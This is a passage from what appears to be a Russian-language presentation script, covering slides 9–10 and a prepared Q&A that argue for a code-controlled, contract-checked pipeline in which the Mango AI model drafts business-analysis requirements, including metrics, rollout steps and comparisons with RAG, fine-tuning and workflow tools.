GigaCode CLI \u0438 Cline \u0441 Mango AI.\\n  \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u0432 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043e\u043d \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n  \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u044b.\\n- \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u043d\u0430\u0448\u0451\u043b\\n  [\u0430\u0443\u0434\u0438\u0442 \u0441\u0440\u0435\u0434](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md):\\n  \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432\\n  Cline \u043c\u043e\u0434\u0435\u043b\u044c \u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438 \u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\u0430.\\n- \u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u0434\u043e\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0440\u0438\\n  \u044d\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 1.0.\\n- \u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0435\u043a\u0442\u043e\u0440. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 runner \u043d\u0430 \u0410\u0420\u041c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043b\u0438\u0434\u0435\u0440\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0417\u0430\u0442\u0435\u043c\\n  \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u2014 \u0421\u0440\u0435\u0434\u0430 4: \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439\\n  \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u043d\u0430 15 \u0443\u0437\u043b\u043e\u0432, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0438\u0437 \u043a\u043e\u0434\u0430.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a:** \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u2014\\n\u044d\u0442\u043e workflow, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442. \u0422\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438 Anthropic \u0432\\n[Building effective agents](https://www.anthropic.com/engineering/building-effective-agents),\\n\u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u00abOwn your control flow\u00bb \u0438\u0437\\n[12-factor agents](https://github.com/humanlayer/12-factor-agents).\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u044d\u0442\u043e\\n\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb \u043d\u0430\\n\u00ab\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\u00bb.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f\\n  \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\\n  [860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md)\\n  \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u0432\u0441\u0435 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u043d\u043e\u0432\u044b\u0439 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b,\\n  \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0435\u0441\u0442\u044c \u0441\u043b\u0435\u0434 \u0434\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. \u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f\\n  [\u043f\u044f\u0442\u044c\u044e \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430, \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439.\\n- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438: \u0435\u0441\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442, \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u2014 \u0441\u0438\u0433\u043d\u0430\u043b \u0442\u0440\u0435\u0432\u043e\u0433\u0438, \u0430 \u043d\u0435 \u0443\u0441\u043f\u0435\u0445.\\n- \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435,\\n  \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. Runner \u043d\u0430 \u0410\u0420\u041c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u0430\u043c\\n  \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u0438 \u0443\u043c\u0435\u0442\u044c \u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430\\n  \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430. \u0417\u0430\u0434\u0430\u0447\u0438 \u0443\u0436\u0435 \u0432\\n  [\u0431\u044d\u043a\u043b\u043e\u0433\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md):\\n  B-211\u2026B-213.\\n- \u0428\u0430\u0433 2 \u2014 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 10 \u0437\u0430\u0434\u0430\u0447\u0430\u0445. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430:\\n  \u043c\u0435\u043d\u044c\u0448\u0435 95% \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430\\n  \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0428\u0430\u0433 3 \u2014 \u0421\u0440\u0435\u0434\u0430 4. \u0417\u0434\u0435\u0441\u044c \u043d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0441 \u0432\u0430\u0448\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f \u0441\u043b\u0443\u0436\u0431\u044b.\\n- \u0427\u0435\u0433\u043e \u043c\u044b \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u043c: \u043d\u0435 \u0441\u0442\u0440\u043e\u0438\u043c \u044f\u0434\u0440\u043e \u043d\u0430 low-code \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u0445 \u0438 \u043d\u0435 \u043e\u0442\u0434\u0430\u0451\u043c\\n  \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0430\u0433\u0435\u043d\u0442\u0443.\\n\\n**\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435:** \u00ab\u041c\u044b \u043f\u0440\u043e\u0441\u0438\u043c \u043d\u0435 \u0431\u044e\u0434\u0436\u0435\u0442 \u043d\u0430 \u0418\u0418-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0443 \u0434\u043b\u044f\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u0437\u043c\u0435\u0440\u0438\u043c\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u043f\u0440\u0438\u0437\u043d\u0430\u0435\u043c \u0435\u0451\\n\u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e\u0439, \u0443\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u00bb.\\n\\n---\\n\\n## \u041e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043c\u043e\u0434\u0435\u043b\u044c \u043c\u043e\u0449\u043d\u0435\u0435?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043c\u0435\u043d\u044f\u0435\u0442 \u0447\u0430\u0441\u0442\u043e\u0442\u0443 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u043e \u043d\u0435 \u0438\u0445 \u043a\u043b\u0430\u0441\u0441. \u0412\\n[A/B-\u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md)\\n\u043d\u0430 \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 65 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 \u043e\u0434\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u044c \u0434\u0430\u043b\u0430 43.1% \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u043d\u043e\u043c\u0435\u0440\u043e\u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0434\u0440\u0443\u0433\u0430\u044f \u2014 0%. \u041d\u043e \u043a\u043e\u0440\u043d\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438: \u043d\u043e\u043c\u0435\u0440\u0430\\n\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0445\u0440\u0430\u043d\u0438\u043b\u0438\u0441\u044c \u0432 \u0440\u0443\u0447\u043d\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u0435, \u0430 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043a\u0438, \u0430 \u043d\u0435\\n\u0435\u0451 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e,\\n\u043a\u0430\u043a\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u0448\u0430\u0433\u043e\u043c. \u0422\u043e\u0433\u0434\u0430 \u0441\u043c\u0435\u043d\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u2014 \u0432\u043e\u043f\u0440\u043e\u0441 \u0446\u0435\u043d\u044b \u0438 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438, \u0430\\n\u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439.\\n\\n### \u00ab\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 RAG \u0438\u043b\u0438 fine-tuning?\u00bb\\n\\nRAG \u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0437\u043d\u0430\u043d\u0438\u044f\u043c, \u0438 \u043e\u043d \u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0435\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u0448\u0430\u0433 \u0441\u0432\u0435\u0440\u043a\u0438. \u041d\u043e \u0438\u0437\\n\u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438. \u0413\u0440\u0430\u043d\u0438\u0446\u044b\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043d\u0435 \u043f\u0440\u043e\\n\u043f\u043e\u0438\u0441\u043a. \u0414\u043b\u044f fine-tuning \u043d\u0443\u0436\u0435\u043d \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440, \u0430 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 17\\n\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\n\\n### \u00ab\u0427\u0435\u043c \u044d\u0442\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 LangGraph, n8n, Dify?\u00bb\\n\\n\u041c\u044b [\u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md).\\nDify, Flowise, Temporal \u0438 Camunda \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u044f\u0434\u0440\u043e. n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u0442\u043e\u043b\u044c\u043a\u043e\\n\u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0442\u044c, \u0443\u0437\u0435\u043b AI Agent\\n\u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d, \u0430 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 2026 \u0433\u043e\u0434\u0430 \u0443 n8n \u0431\u044b\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\\nCVE-2026-21858 \u0441 CVSS 10.0. LangGraph \u043f\u043e\u0434 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0435\u0439 MIT \u2014 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435\\n\u043f\u043e\u0437\u0434\u043d\u0438\u0439 \u044d\u0442\u0430\u043f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b, \u043d\u043e \u043d\u0435 \u0441\u0435\u0439\u0447\u0430\u0441: \u043d\u0430\u0448 \u0433\u0440\u0430\u0444 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432 \u043f\u0440\u043e\u0449\u0435\\n\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0435.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 fail-closed 